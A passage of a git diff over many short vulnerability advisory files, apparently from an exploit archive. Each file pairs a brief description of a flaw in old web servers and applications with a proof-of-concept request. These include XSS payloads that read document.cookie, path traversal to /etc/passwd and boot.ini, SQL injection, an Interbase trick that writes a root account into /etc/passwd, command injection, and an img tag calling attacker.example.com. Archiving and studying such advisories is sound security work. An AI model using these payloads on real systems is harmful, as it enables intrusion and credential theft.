HTML tags are not filtered fr Such an attack may be used to steal a legitimate user's cookie-based authentication credentials. -http://IP_Address_of_DeleGate/<script>alert("aaa");</script> \ No newline at end of file +http://IP_Address_of_DeleGate/<script>alert("aaa");</script> \ No newline at end of file diff --git a/platforms/multiple/remote/21197.txt b/platforms/multiple/remote/21197.txt index 23092b7a5..448262a88 100755 --- a/platforms/multiple/remote/21197.txt +++ b/platforms/multiple/remote/21197.txt @@ -6,4 +6,4 @@ The default installation allows users to self-register, potentially allowing unt This may provide a window of opportunity for an untrusted, malicious user to access the service to exploit known issues. One example of an existing issue that may be exploited as a result of untrusted users being able to self-register is BugTraq ID 3776 "BSCW Remote Command Execution Vulnerability". -http://your.bscwserver.url/pub/english.cgi?op=rmail \ No newline at end of file +http://your.bscwserver.url/pub/english.cgi?op=rmail \ No newline at end of file diff --git a/platforms/multiple/remote/21212.txt b/platforms/multiple/remote/21212.txt index 32b05b681..6231c1a5f 100755 --- a/platforms/multiple/remote/21212.txt +++ b/platforms/multiple/remote/21212.txt @@ -22,4 +22,4 @@ Easp&o=0&sv=za5cb0d78&qid=E2BCA8F417ECE94DBDD27B75F951FFDA&uid=2c234acbec234 acbe &sid=3c234acbec234acbe&ord=1" was not found on this server.<P></BODY>Connection -closed by foreign host. \ No newline at end of file +closed by foreign host. \ No newline at end of file diff --git a/platforms/multiple/remote/21276.txt b/platforms/multiple/remote/21276.txt index 06819c8c7..dc5d020c3 100755 --- a/platforms/multiple/remote/21276.txt +++ b/platforms/multiple/remote/21276.txt @@ -6,4 +6,4 @@ If the attacker submits an HTTP request for an invalid path, the server will ret Versions prior to TEXIS 4.03.1049406926 20030403 are vulnerable. -http://www.example.com/texis/nonexistent/path/ \ No newline at end of file +http://www.example.com/texis/nonexistent/path/ \ No newline at end of file diff --git a/platforms/multiple/remote/21295.txt b/platforms/multiple/remote/21295.txt index 3a6e2706d..7e92028c5 100755 --- a/platforms/multiple/remote/21295.txt +++ b/platforms/multiple/remote/21295.txt @@ -8,4 +8,4 @@ It should be noted that this may allow an attacker to circumvent .htaccess files This issue may be the result of a configuration error. -http://site/servlets/gnujsp/[dirname]/[file] \ No newline at end of file +http://site/servlets/gnujsp/[dirname]/[file] \ No newline at end of file diff --git a/platforms/multiple/remote/21384.txt b/platforms/multiple/remote/21384.txt index db71392f2..2aec74118 100755 --- a/platforms/multiple/remote/21384.txt +++ b/platforms/multiple/remote/21384.txt @@ -4,4 +4,4 @@ Demarc PureSecure is a commercially available graphical front-end for Snort, in A vulnerability has been reported in some versions of PureSecure. User supplied input is used to construct a SQL statement, allowing SQL injection attacks. Administrative access may be gained through exploitation of this flaw. -curl -b s_key=\'%20OR%20current_session_id%20like%20\'%\'%23 https://<lame host>/dm/demarc \ No newline at end of file +curl -b s_key=\'%20OR%20current_session_id%20like%20\'%\'%23 https://<lame host>/dm/demarc \ No newline at end of file diff --git a/platforms/multiple/remote/21444.txt b/platforms/multiple/remote/21444.txt index 82182e464..85936ef11 100755 --- a/platforms/multiple/remote/21444.txt +++ b/platforms/multiple/remote/21444.txt @@ -7,4 +7,4 @@ HTML code is not filtered from URL parameters that are used as output in the web Successful exploitation may allow the attacker to steal cookie-based authentication credentials from the administrative user. http://ip:1500/DSASD&DSA=1&LOCID=<script>^Ã?.</script>&FRAME=Y -http://ip:1500/OBCR&OC=<script>^Ã?.</script>&FRAME=Y \ No newline at end of file +http://ip:1500/OBCR&OC=<script>^Ã?.</script>&FRAME=Y \ No newline at end of file diff --git a/platforms/multiple/remote/21445.txt b/platforms/multiple/remote/21445.txt index 5feb43775..0deb36bb0 100755 --- a/platforms/multiple/remote/21445.txt +++ b/platforms/multiple/remote/21445.txt @@ -6,4 +6,4 @@ An attacker with a valid administrative username and password is able to view an http://ip:1500/CONF&LOG=/etc/passwd&NOIH=no&FRAMES=y -Here the attacker is able to view the contents of /etc/passwd. \ No newline at end of file +Here the attacker is able to view the contents of /etc/passwd. \ No newline at end of file diff --git a/platforms/multiple/remote/21450.txt b/platforms/multiple/remote/21450.txt index 9a46e186c..a1100880a 100755 --- a/platforms/multiple/remote/21450.txt +++ b/platforms/multiple/remote/21450.txt @@ -10,4 +10,4 @@ in qcommon/cmd.c change the line Cmd_TokenizeString (text, true); to -Cmd_TokenizeString( text, false); \ No newline at end of file +Cmd_TokenizeString( text, false); \ No newline at end of file diff --git a/platforms/multiple/remote/21453.txt b/platforms/multiple/remote/21453.txt index 97f460d9c..e8b209318 100755 --- a/platforms/multiple/remote/21453.txt +++ b/platforms/multiple/remote/21453.txt @@ -12,4 +12,4 @@ It is possible for a malicious remote user to exploit this issue by crafting a U bannerserver.gator.com/<SCRIPT>window.location.href="http://www.offroadwarehouse.com";</SCRIPT> -The script code will redirect a user to a different site. \ No newline at end of file +The script code will redirect a user to a different site. \ No newline at end of file diff --git a/platforms/multiple/remote/21603.txt b/platforms/multiple/remote/21603.txt index a6ba90963..5f9ce4cdf 100755 --- a/platforms/multiple/remote/21603.txt +++ b/platforms/multiple/remote/21603.txt @@ -4,4 +4,4 @@ The iPlanet Web Server search engine is prone to a file disclosure vulnerability This issue was reported for iPlanet Web Server on Microsoft Windows operating systems. Since the server typically runs in the SYSTEM context on these operating systems, it may be possible for an attacker to disclose the contents of arbitrary files. It has not been confirmed whether this vulnerability exists on other platforms that the software is compatible with. The search engine functionality does not appear to be available for versions of the software on Linux platforms. -GET /search?NS-query-pat=..\..\..\..\..\boot.ini \ No newline at end of file +GET /search?NS-query-pat=..\..\..\..\..\boot.ini \ No newline at end of file diff --git a/platforms/multiple/remote/21627.txt b/platforms/multiple/remote/21627.txt index 590f1623c..39c9c5cd9 100755 --- a/platforms/multiple/remote/21627.txt +++ b/platforms/multiple/remote/21627.txt @@ -4,5 +4,5 @@ A problem with Reports Server could make it possible to gain sensitive informati Under some circumstances, Reports Server may yield sensitive information to unauthenticated remote users. This information may include the system path, software installed on the vulnerable system, and other information that may be used as points of entry. -http://some.server/cgi-bin/rwcgi60 -http://some.server/cgi-bin/rwcgi60/showenv \ No newline at end of file +http://some.site.com/cgi-bin/rwcgi60 +http://some.site.com/cgi-bin/rwcgi60/showenv \ No newline at end of file diff --git a/platforms/multiple/remote/21751.txt b/platforms/multiple/remote/21751.txt index 538a54d13..a57a3065e 100755 --- a/platforms/multiple/remote/21751.txt +++ b/platforms/multiple/remote/21751.txt @@ -5,4 +5,4 @@ Blazix is a freely available, open source web server written in Java. It is avai When a user passes a request to the web server that ends in either a plus (+) or backslash (\), the web server may react unpredictably. This type of character appended to the name of a .jsp file has been reported to reveal the contents of the .jsp file. http://www.example.com/jsptest.jsp+ -http://www.example.com/jsptest.jsp\ \ No newline at end of file +http://www.example.com/jsptest.jsp\ \ No newline at end of file diff --git a/platforms/multiple/remote/21752.txt b/platforms/multiple/remote/21752.txt index 1727ce7c3..d487b7cb5 100755 --- a/platforms/multiple/remote/21752.txt +++ b/platforms/multiple/remote/21752.txt @@ -5,4 +5,4 @@ Blazix is a freely available, open source web server written in Java. It is avai Blazix does not properly handle some special characters when appended to requests. By passing a special character with a request to the web server, it is possible for a user to gain access to a listing of a password protected directory. This could result in information disclosure, and could potentially be used to gain intelligence in launching an attack against a system. http://www.example.com/bugtest+/ -http://www.example.com/bugtest\/ \ No newline at end of file +http://www.example.com/bugtest\/ \ No newline at end of file diff --git a/platforms/multiple/remote/21767.txt b/platforms/multiple/remote/21767.txt index 304895bce..e942fcfd0 100755 --- a/platforms/multiple/remote/21767.txt +++ b/platforms/multiple/remote/21767.txt @@ -4,4 +4,4 @@ NullLogic Null HTTPd is a small multithreaded webserver for Linux and Windows. It is possible for attackers to construct a URL that will cause scripting code to be embedded in error pages. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. -http://localhost/a?x=<SCRIPT>alert(document.URL)</SCRIPT> \ No newline at end of file +http://localhost/a?x=<SCRIPT>alert(document.URL)</SCRIPT> \ No newline at end of file diff --git a/platforms/multiple/remote/21885.txt b/platforms/multiple/remote/21885.txt index 47558e91c..d72234eeb 100755 --- a/platforms/multiple/remote/21885.txt +++ b/platforms/multiple/remote/21885.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML and script code may be executed on a web client visiting Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user. http://%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28document%2Ecookie%29%22 -%3E.apachesite.org/raise_404 \ No newline at end of file +%3E.apachesite.org/raise_404 \ No newline at end of file diff --git a/platforms/multiple/remote/21996.txt b/platforms/multiple/remote/21996.txt index ac6fd068d..b6f55f890 100755 --- a/platforms/multiple/remote/21996.txt +++ b/platforms/multiple/remote/21996.txt @@ -5,4 +5,4 @@ Lotus Domino reportedly discloses sensitive banner information when a non-existe This issue is present on Lotus Domino Server with the 'DominoNoBanner' set to a value of '1'. -http://www.example.com/nosuchdb.nsf \ No newline at end of file +http://www.example.com/nosuchdb.nsf \ No newline at end of file diff --git a/platforms/multiple/remote/22130.txt b/platforms/multiple/remote/22130.txt index 855e415d7..1c791a982 100755 --- a/platforms/multiple/remote/22130.txt +++ b/platforms/multiple/remote/22130.txt @@ -4,4 +4,4 @@ AN HTTPD does not adequately filter HTML code thus making it prone to cross-site This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. -http://server/[script]?<h1>HACKED</h1>aaaa..[up_to_1kb]..aaaa \ No newline at end of file +http://www.target.com/[script]?<h1>HACKED</h1>aaaa..[up_to_1kb]..aaaa \ No newline at end of file diff --git a/platforms/multiple/remote/22145.txt b/platforms/multiple/remote/22145.txt index 59135c038..5af9b3fe7 100755 --- a/platforms/multiple/remote/22145.txt +++ b/platforms/multiple/remote/22145.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6588/info It has been reported that BitKeeper is vulnerable to an input validation bug. When the software is run in daemon mode, it starts a service with an interface that can be connected to via HTTP. By sending specially crafted input to the service, it is possible to execute abitrary commands. -http://www.example.com:port/diffs/foo.c@%27;echo%20%3Eiwashere%27?nav=index.html|src/|hist/foo.c \ No newline at end of file +http://www.example.com:port/diffs/foo.c@%27;echo%20%3Eiwashere%27?nav=index.html|src/|hist/foo.c \ No newline at end of file diff --git a/platforms/multiple/remote/22201.txt b/platforms/multiple/remote/22201.txt index 543deb019..702713d1a 100755 --- a/platforms/multiple/remote/22201.txt +++ b/platforms/multiple/remote/22201.txt @@ -9,7 +9,7 @@ A malicious user could sign up like this: username:username email:email@emial.com url:www.url.com -bannerurl:www.server/banner.gif ||password|%User_ID%|60|468 +bannerurl:www.site.com/banner.gif ||password|%User_ID%|60|468 banner height:68 banner width:460 password:pass diff --git a/platforms/multiple/remote/22296.txt b/platforms/multiple/remote/22296.txt index 78f2c3bf8..4fd721bac 100755 --- a/platforms/multiple/remote/22296.txt +++ b/platforms/multiple/remote/22296.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6980/info It has been reported that the Axis Video Server does not properly secure sensitive information. Because of this, an attacker may be able to gather details about server operation and traffic that could lead to further attacks. -http://www.example.com/support/messages \ No newline at end of file +http://www.example.com/support/messages \ No newline at end of file diff --git a/platforms/multiple/remote/22327.txt b/platforms/multiple/remote/22327.txt index 550bf22db..612b6377a 100755 --- a/platforms/multiple/remote/22327.txt +++ b/platforms/multiple/remote/22327.txt @@ -6,7 +6,7 @@ An attacker could exploit this vulnerability by connecting a web server using a Although unconfirmed, it is possible that this issue also affects other HTTP content filters. -telnet www.blockedserver 80 +telnet www.blockedsite.com 80 GET / HTTP/1.1 -Host: www.blockedserver \ No newline at end of file +Host: www.blockedsite.com \ No newline at end of file diff --git a/platforms/multiple/remote/22462.txt b/platforms/multiple/remote/22462.txt index 0485c9707..c409036f3 100755 --- a/platforms/multiple/remote/22462.txt +++ b/platforms/multiple/remote/22462.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/7291/info A vulnerability has been reported for Interbase that may result in the corruption of arbitrary system files. The vulnerability exists due to insufficient checks performed when creating or manipulating external databases. create table test external '/etc/passwd' (id char(80)); -insert into test values('r00t::0:0:root:/root:/bin/bash'); \ No newline at end of file +insert into test values('r00t::0:0:root:/root:/bin/bash'); \ No newline at end of file diff --git a/platforms/multiple/remote/22472.txt b/platforms/multiple/remote/22472.txt index 8678e25fd..a10e03de8 100755 --- a/platforms/multiple/remote/22472.txt +++ b/platforms/multiple/remote/22472.txt @@ -6,4 +6,4 @@ If a specially crafted request is made for a page that accepts user-supplied dat The information gathered in this way may be used to mount further attacks against the system. -https://www.example.com/securelogin/1,2345,A,00.html?Errmessage="x214>x214 \ No newline at end of file +https://www.example.com/securelogin/1,2345,A,00.html?Errmessage="x214>x214 \ No newline at end of file diff --git a/platforms/multiple/remote/22496.txt b/platforms/multiple/remote/22496.txt index 536239c83..5c9d2f2b9 100755 --- a/platforms/multiple/remote/22496.txt +++ b/platforms/multiple/remote/22496.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7353/info It has been reported that the Python Documentation Server is vulnerable to a cross-site scripting problem in error pages. Because of this, an attacker could potentially cause the execution of malicious HTML and script code in the browser of a web user. -http://www.example.com:7464/<script>example</script> \ No newline at end of file +http://www.example.com:7464/<script>example</script> \ No newline at end of file diff --git a/platforms/multiple/remote/22497.txt b/platforms/multiple/remote/22497.txt index 8aaa353ee..db2bd59e1 100755 --- a/platforms/multiple/remote/22497.txt +++ b/platforms/multiple/remote/22497.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7355/info When certain malformed URL requests are sent to a 12Planet Chat Server, the server's installation path may be revealed in the returned error message. This information could be used by a remote attacker to launch further attacks against the chat server. -http://www.victim.com:8080/qwe/qwe/qwe/index.html \ No newline at end of file +http://www.victim.com:8080/qwe/qwe/qwe/index.html \ No newline at end of file diff --git a/platforms/multiple/remote/22611.txt b/platforms/multiple/remote/22611.txt index c515f6f68..095280365 100755 --- a/platforms/multiple/remote/22611.txt +++ b/platforms/multiple/remote/22611.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/7621/info A vulnerability has been reported for Netscape Enterprise Server. The problem is said to occur while processing HTTP queries containing the '?PageServices' URI parameter. After processing this query the affected server may disclose the contents of established web root, possibly including sub-directories. -http://www.example.com/?PageServices \ No newline at end of file +http://www.example.com/?PageServices \ No newline at end of file diff --git a/platforms/multiple/remote/22649.txt b/platforms/multiple/remote/22649.txt index 96787091d..8d80e233e 100755 --- a/platforms/multiple/remote/22649.txt +++ b/platforms/multiple/remote/22649.txt @@ -4,4 +4,4 @@ A vulnerability has been reported that could enable a P-News member to create an This issue was reported in P-News 1.16. Other versions may also be affected. -Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none@nowhere.com|-||-|179ad45c6ce2cb97cf1029e212046e81|-|2|-|peter@aol.com|-| \ No newline at end of file +Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none@nowhere.com|-||-|179ad45c6ce2cb97cf1029e212046e81|-|2|-|peter@aol.com|-| \ No newline at end of file diff --git a/platforms/multiple/remote/22662.txt b/platforms/multiple/remote/22662.txt index 5ee4cb573..ab00a01a1 100755 --- a/platforms/multiple/remote/22662.txt +++ b/platforms/multiple/remote/22662.txt @@ -10,4 +10,4 @@ The following script code has been provided to demonstrate indirect session hija function%20steal(){var%20xmlHttp%20=%20new%20ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("GET","<URL_to_spoof>",false);xmlHttp.send();xmlDoc=xmlHttp.responseText; -"xmldoc" can be redirected with a "img src", "window.open", to the attacker machine. \ No newline at end of file +"xmldoc" can be redirected with a "img src", "window.open", to the attacker machine. \ No newline at end of file diff --git a/platforms/multiple/remote/22755.txt b/platforms/multiple/remote/22755.txt index bc7d17253..c67bc3378 100755 --- a/platforms/multiple/remote/22755.txt +++ b/platforms/multiple/remote/22755.txt @@ -4,4 +4,4 @@ A weakness has been discovered in Aiglon Web Server, which may provide for the d It has been reported that a remote attacker may cause the web server to disclose installation path details by making a malformed HTTP request. The remote attacker may potentially use the disclosed information to aid in further "intelligent" attacks against the host running the affected software. -http://www.example.com/index.html* \ No newline at end of file +http://www.example.com/index.html* \ No newline at end of file diff --git a/platforms/multiple/remote/23069.txt b/platforms/multiple/remote/23069.txt index cbab62725..cd7de5044 100755 --- a/platforms/multiple/remote/23069.txt +++ b/platforms/multiple/remote/23069.txt @@ -7,4 +7,4 @@ http://www.server.name/scripts/wgate/pbw2/!? with params: ~runtimemode=DM& ~language=en& -~theme=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx& \ No newline at end of file +~theme=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx& \ No newline at end of file diff --git a/platforms/multiple/remote/23070.txt b/platforms/multiple/remote/23070.txt index e65d35e93..861805531 100755 --- a/platforms/multiple/remote/23070.txt +++ b/platforms/multiple/remote/23070.txt @@ -12,4 +12,4 @@ with params: ~theme=..\..& ~template=services\global.srvc+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -(where "+" stands for spaces "%20" uri encoded). \ No newline at end of file +(where "+" stands for spaces "%20" uri encoded). \ No newline at end of file diff --git a/platforms/multiple/remote/23136.txt b/platforms/multiple/remote/23136.txt index 365f065ae..ed92eee2e 100755 --- a/platforms/multiple/remote/23136.txt +++ b/platforms/multiple/remote/23136.txt @@ -4,4 +4,4 @@ It has been reported that FutureWave WebX Server may be prone to a directory tra This vulnerablity may allow an attacker to gain access to sensitive data that may be used to launch further attacks. -http://[victim]/../../../anyfile \ No newline at end of file +http://[victim]/../../../anyfile \ No newline at end of file diff --git a/platforms/multiple/remote/23173.txt b/platforms/multiple/remote/23173.txt index 1616df058..c0bbc2449 100755 --- a/platforms/multiple/remote/23173.txt +++ b/platforms/multiple/remote/23173.txt @@ -4,4 +4,4 @@ It has been reported that a vulnerability present in TCLHttpd allows for attacke The discoverer of this vulnerability has stated that version 3.4.2 is affected. It is likely that prior versions are also vulnerable. -http://example/images/?pattern=/*&sort=name \ No newline at end of file +http://example/images/?pattern=/*&sort=name \ No newline at end of file diff --git a/platforms/multiple/remote/23174.txt b/platforms/multiple/remote/23174.txt index b67fdd44e..a1f74ec93 100755 --- a/platforms/multiple/remote/23174.txt +++ b/platforms/multiple/remote/23174.txt @@ -7,4 +7,4 @@ The discoverer of this vulnerability has stated that version 3.4.2 is affected. http://example/debug/echo?name=<script>alert('hello');</script> http://example/debug/dbg?host=<script>alert('hello');</script> http://example/debug/showproc?proc=<script>alert('hello');</script> -http://example/debug/errorInfo?title=<script>alert('hello');</script> \ No newline at end of file +http://example/debug/errorInfo?title=<script>alert('hello');</script> \ No newline at end of file diff --git a/platforms/multiple/remote/23176.txt b/platforms/multiple/remote/23176.txt index b3c757a15..b1a19016b 100755 --- a/platforms/multiple/remote/23176.txt +++ b/platforms/multiple/remote/23176.txt @@ -34,4 +34,4 @@ Can't Parse Request. <HR> <ADDRESS>Null httpd 0.5.1</ADDRESS> </BODY></HTML> ----- \ No newline at end of file +---- \ No newline at end of file diff --git a/platforms/multiple/remote/23221.txt b/platforms/multiple/remote/23221.txt index f6121e47c..9bffbc002 100755 --- a/platforms/multiple/remote/23221.txt +++ b/platforms/multiple/remote/23221.txt @@ -25,4 +25,4 @@ CALL COMPDEBUG(true); CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe'); CALL COMPILE('/c REGEDIT.EXE',''); </sql> -</target> \ No newline at end of file +</target> \ No newline at end of file diff --git a/platforms/multiple/remote/23257.txt b/platforms/multiple/remote/23257.txt index cbc983fb5..b1e796df1 100755 --- a/platforms/multiple/remote/23257.txt +++ b/platforms/multiple/remote/23257.txt @@ -7,4 +7,4 @@ It has been reported that a remote attacker may construct a malicious link conta http://www.example.com/cgi/bin/test.txt?<script>alert(document.cookie)</script> POST /servlet/custMsg?guestName=<script>alert("bang")</script> HTTP/1.0 POST /servlet/CookieExample?cookiename=<script>alert("bang")</script>&cookievalue=&cookiepath= -HTTP/1.0 \ No newline at end of file +HTTP/1.0 \ No newline at end of file diff --git a/platforms/multiple/remote/23271.txt b/platforms/multiple/remote/23271.txt index fc800a786..445a114cb 100755 --- a/platforms/multiple/remote/23271.txt +++ b/platforms/multiple/remote/23271.txt @@ -6,4 +6,4 @@ Successful exploitation of this attack may allow an attacker to steal cookie-bas PSCS VPOP3 versions 2.0.0e and 2.0.0f have been reported to be prone to this vulnerability, however other versions may be affected as well. -index.html?redirect=admin/index.html";%0Devil_script;%0D// \ No newline at end of file +index.html?redirect=admin/index.html";%0Devil_script;%0D// \ No newline at end of file diff --git a/platforms/multiple/remote/23282.txt b/platforms/multiple/remote/23282.txt index 66716b891..ec2807a39 100755 --- a/platforms/multiple/remote/23282.txt +++ b/platforms/multiple/remote/23282.txt @@ -6,4 +6,4 @@ This vulnerability may be successfully exploited to gain sensitive information a Apache Cocoon version 2.1 and 2.2 before 22 Oct 2003 have been reported to be affected by this issue, however other versions may be affected as well. -http://www.example.com:8888/samples/view-source?filename=../../../[existing_file] \ No newline at end of file +http://www.example.com:8888/samples/view-source?filename=../../../[existing_file] \ No newline at end of file diff --git a/platforms/multiple/remote/23291.txt b/platforms/multiple/remote/23291.txt index a9343fa68..67b512893 100755 --- a/platforms/multiple/remote/23291.txt +++ b/platforms/multiple/remote/23291.txt @@ -4,4 +4,4 @@ A flaw in the Opera web browsers security model has been discovered that could a **UPDATE: The vendor has contacted Symantec and has stated that this is not a vulnerability. Symantec has not been able to reproduce the claims made by the individual who reported this issue. This record is being retired, though it may be re-activated if further findings confirm existence of the vulnerability. -<iframe name="abc" src="file:///C:/"></iframe> \ No newline at end of file +<iframe name="abc" src="file:///C:/"></iframe> \ No newline at end of file diff --git a/platforms/multiple/remote/23307.txt b/platforms/multiple/remote/23307.txt index f2241cf5a..6f03b0a44 100755 --- a/platforms/multiple/remote/23307.txt +++ b/platforms/multiple/remote/23307.txt @@ -6,4 +6,4 @@ Successful exploitation of this attack may allow an attacker to steal cookie-bas NetFile FTP/Webserver Version 6.0.3.588 has been reported to be prone to this issue, however other versions may be affected as well. -http://www.example.com/<script>alert("bang")</script> \ No newline at end of file +http://www.example.com/<script>alert("bang")</script> \ No newline at end of file diff --git a/platforms/multiple/remote/23309.txt b/platforms/multiple/remote/23309.txt index b0106d676..83f1ec99f 100755 --- a/platforms/multiple/remote/23309.txt +++ b/platforms/multiple/remote/23309.txt @@ -9,4 +9,4 @@ Successful exploitation of this issue result in disclosure of sensitive informat This problem has been reported to exist in FirstClass 7.1. It is possible that other versions are affected as well. http://www.example.com/Search -http://www.example.com/~Account%20Name/Search \ No newline at end of file +http://www.example.com/~Account%20Name/Search \ No newline at end of file diff --git a/platforms/multiple/remote/23380.txt b/platforms/multiple/remote/23380.txt index e35335cb8..97ea1f01a 100755 --- a/platforms/multiple/remote/23380.txt +++ b/platforms/multiple/remote/23380.txt @@ -4,4 +4,4 @@ It has been reported that a cross-site scripting vulnerability may exist in WebW WebWasher Classic versions 3.3 Build 44 and 2.2.1 are reported to be prone to this issue, however other versions may be affected as well. -http://www.example.com/<script>alert("WASH_ME")</script> \ No newline at end of file +http://www.example.com/<script>alert("WASH_ME")</script> \ No newline at end of file diff --git a/platforms/multiple/remote/23385.txt b/platforms/multiple/remote/23385.txt index a5ad0c9b2..59778902c 100755 --- a/platforms/multiple/remote/23385.txt +++ b/platforms/multiple/remote/23385.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9055/info PostMaster has been reported prone to a cross-site scripting vulnerability. The issue presents itself due to a lack of sufficient sanitization that is performed by the proxy service on user-supplied data. An attacker may construct a malicious HTTP request link that contains embedded HTML and script code. When this request is handled by the proxy service, the malicious HTML and script code contained in the request will be incorporated into an error page and in turn will be rendered in the browser of a user who follows the link. -http://www.example.com/<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/multiple/remote/23433.txt b/platforms/multiple/remote/23433.txt index 0f79910bb..4be84b78c 100755 --- a/platforms/multiple/remote/23433.txt +++ b/platforms/multiple/remote/23433.txt @@ -4,4 +4,4 @@ It has been discovered that the Mozilla browser is prone to a URI obfuscation we This could be used in conjunction with other URI obfuscation attacks and browser vulnerabilities to trick a user into following a malicious link. -http://www.trusted.com%00@www.malicious.com \ No newline at end of file +http://www.trusted.com%00@www.malicious.com \ No newline at end of file diff --git a/platforms/multiple/remote/23593.txt b/platforms/multiple/remote/23593.txt index 0c5e0924e..13c1d893b 100755 --- a/platforms/multiple/remote/23593.txt +++ b/platforms/multiple/remote/23593.txt @@ -4,4 +4,4 @@ Oracle HTTP Server is reportedly prone to a cross-site scripting issue. This cou http://<host>/isqlplus?action=logon&username=sdfds%22%3e%3cscript%3ealert('XSS')%3c/script%3e\&password=dsfsd%3cscript%3ealert('XSS')%3c/script%3e -http://<host>/isqlplus?action=<script>alert('XSS')</script> \ No newline at end of file +http://<host>/isqlplus?action=<script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/multiple/remote/23598.txt b/platforms/multiple/remote/23598.txt index 2463fada8..d20531be7 100755 --- a/platforms/multiple/remote/23598.txt +++ b/platforms/multiple/remote/23598.txt @@ -4,4 +4,4 @@ IBM Net.Data is prone to cross-site scripting attacks via error message output. Exploitation could permit theft of cookie-based authentication credentials or other attacks. -http://www.example.com/cgi-bin/db2www/<script>alert(document.domain)</script>/A \ No newline at end of file +http://www.example.com/cgi-bin/db2www/<script>alert(document.domain)</script>/A \ No newline at end of file diff --git a/platforms/multiple/remote/23600.txt b/platforms/multiple/remote/23600.txt index 3b0161139..6333e6b9b 100755 --- a/platforms/multiple/remote/23600.txt +++ b/platforms/multiple/remote/23600.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9491/info BremsServer has been reported to contain cross-site scripting vulnerabilities. This issue is due to the server failing to check or filter user strings that are sent to the server. An attacker may exploit these issues by creating a link that includes embedded malicious HTML and script code and enticing a user to follow it. -http://www.example.com/<script>alert("Test")</script> \ No newline at end of file +http://www.example.com/<script>alert("Test")</script> \ No newline at end of file diff --git a/platforms/multiple/remote/24148.txt b/platforms/multiple/remote/24148.txt index dbb718d01..610d10de4 100755 --- a/platforms/multiple/remote/24148.txt +++ b/platforms/multiple/remote/24148.txt @@ -5,4 +5,4 @@ It is reported that Java System Application Server is prone to a remote installa Successful exploitation of this issue may allow an attacker to gain sensitive information about the file system that may aid in launching more direct attacks against the system. http://www.example.com:8080//// -http://www.example.com:8080////CON \ No newline at end of file +http://www.example.com:8080////CON \ No newline at end of file diff --git a/platforms/multiple/remote/24246.txt b/platforms/multiple/remote/24246.txt index 119dbdcd9..22042e186 100755 --- a/platforms/multiple/remote/24246.txt +++ b/platforms/multiple/remote/24246.txt @@ -6,4 +6,4 @@ The web server component of SCI Chat server will display an error message when i A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks. -http://www.example.com:1235/<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com:1235/<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/multiple/remote/24387.txt b/platforms/multiple/remote/24387.txt index 9a3ee02f4..497aecda0 100755 --- a/platforms/multiple/remote/24387.txt +++ b/platforms/multiple/remote/24387.txt @@ -12,4 +12,4 @@ Connection: close Accept: text/plain Accept-Language: en-us,en Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -User-Agent: Some-Fake-UA <img src='http://attacker.example.com/app.gif'> \ No newline at end of file +User-Agent: Some-Fake-UA <img src='http://attacker.example.com/app.gif'> \ No newline at end of file diff --git a/platforms/multiple/remote/24414.txt b/platforms/multiple/remote/24414.txt index 5f4c2790c..7d05c0846 100755 --- a/platforms/multiple/remote/24414.txt +++ b/platforms/multiple/remote/24414.txt @@ -9,4 +9,4 @@ This vulnerability will allow a remote attacker to retrieve potentially sensitiv Version 1.0.2 of the software is reported vulnerable to this issue. Other versions may also be affected. http://www.example.com/%2E%2E%5Csystem.log -http://www.example.com/%2E%2E\system.log \ No newline at end of file +http://www.example.com/%2E%2E\system.log \ No newline at end of file diff --git a/platforms/multiple/remote/25066.txt b/platforms/multiple/remote/25066.txt index 495770440..d7d04cc6b 100755 --- a/platforms/multiple/remote/25066.txt +++ b/platforms/multiple/remote/25066.txt @@ -12,4 +12,4 @@ netcat -L -p 99 -s 127.0.0.1 < hallo.txt 2) Connect to the WebWasher proxy port (default 8080/tcp) 3) Enter command "CONNECT 127.0.0.1:99 HTTP/1.0" -As a result, content of hallo.txt will appear. \ No newline at end of file +As a result, content of hallo.txt will appear. \ No newline at end of file diff --git a/platforms/multiple/remote/25072.txt b/platforms/multiple/remote/25072.txt index f41340a3d..f75e686e9 100755 --- a/platforms/multiple/remote/25072.txt +++ b/platforms/multiple/remote/25072.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to gain access to sensitive information incl [path to CitrusDB]/io/newfile.txt -where [path to CitrusDB] is the path relative to the web root. \ No newline at end of file +where [path to CitrusDB] is the path relative to the web root. \ No newline at end of file diff --git a/platforms/multiple/remote/25133.txt b/platforms/multiple/remote/25133.txt index 2d4163a7d..a19450758 100755 --- a/platforms/multiple/remote/25133.txt +++ b/platforms/multiple/remote/25133.txt @@ -5,4 +5,4 @@ A vulnerability has been identified in the handling of certain types of requests Read privileges granted to these files would be restricted by the permissions of the web server process. http://www.example.com/../../../file -http://www.example.com/..\..\..\file \ No newline at end of file 